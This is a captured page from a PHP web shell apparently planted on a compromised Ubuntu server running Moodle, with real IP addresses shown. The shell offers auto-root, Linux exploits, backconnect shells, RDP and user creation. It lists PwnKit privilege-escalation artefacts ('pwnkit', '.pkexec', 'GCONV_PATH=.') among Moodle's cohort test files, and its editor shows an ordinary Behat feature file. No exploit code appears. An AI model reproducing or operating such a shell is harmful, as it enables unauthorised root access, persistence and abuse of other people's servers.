Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
cohort /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
access_visible_cohorts.feature
7.7
KB
-rwxrwxrwx
add_cohort.feature
2.8
KB
-rwxrwxrwx
behat_cohort.php
2.75
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
upload_cohort_users.feature
2.23
KB
-rwxrwxrwx
upload_cohorts.feature
12.5
KB
-rwxrwxrwx
view_cohorts.feature
2.51
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : upload_cohort_users.feature
@core @core_cohort @_file_upload Feature: Upload users to a cohort In order to quickly fill site-wide groups with users As an admin I need to upload a file with users data containing cohort assigns @javascript @skip_chrome_zerosize Scenario: Upload users and assign them to a course with cohort enrolment method enabled Given the following "cohorts" exist: | name | idnumber | | Cohort 1 | ASD | | Cohort 2 | DSA | And the following "courses" exist: | fullname | shortname | category | | Course 1 | C1 | 0 | | Course 2 | C2 | 0 | And I log in as "admin" And I am on "Course 1" course homepage And I add "Cohort sync" enrolment method with: | Cohort | Cohort 1 | And I should see "Cohort sync (Cohort 1 - Student)" And I am on "Course 2" course homepage And I add "Cohort sync" enrolment method with: | Cohort | Cohort 2 | And I should see "Cohort sync (Cohort 2 - Student)" When I navigate to "Users > Accounts > Upload users" in site administration And I upload "lib/tests/fixtures/upload_users_cohorts.csv" file to "File" filemanager And I press "Upload users" And I press "Upload users" And I press "Continue" And I navigate to "Users > Accounts > Cohorts" in site administration And I click on "Assign" "link" in the "Cohort 1" "table_row" Then the "Current users" select box should contain "Tom Jones (tomjones@example.com)" And the "Current users" select box should contain "Bob Jones (bobjones@example.com)" And I press "Back to cohorts" And I click on "Assign" "link" in the "Cohort 2" "table_row" And the "Current users" select box should contain "Mary Smith (marysmith@example.com)" And the "Current users" select box should contain "Alice Smith (alicesmith@example.com)" And I am on "Course 1" course homepage And I navigate to "Users > Enrolled users" in current page administration And I should see "Tom Jones" And I should see "Bob Jones" And I should not see "Mary Smith" And I am on "Course 2" course homepage And I navigate to "Users > Enrolled users" in current page administration And I should see "Mary Smith" And I should see "Alice Smith" And I should not see "Tom Jones"
Close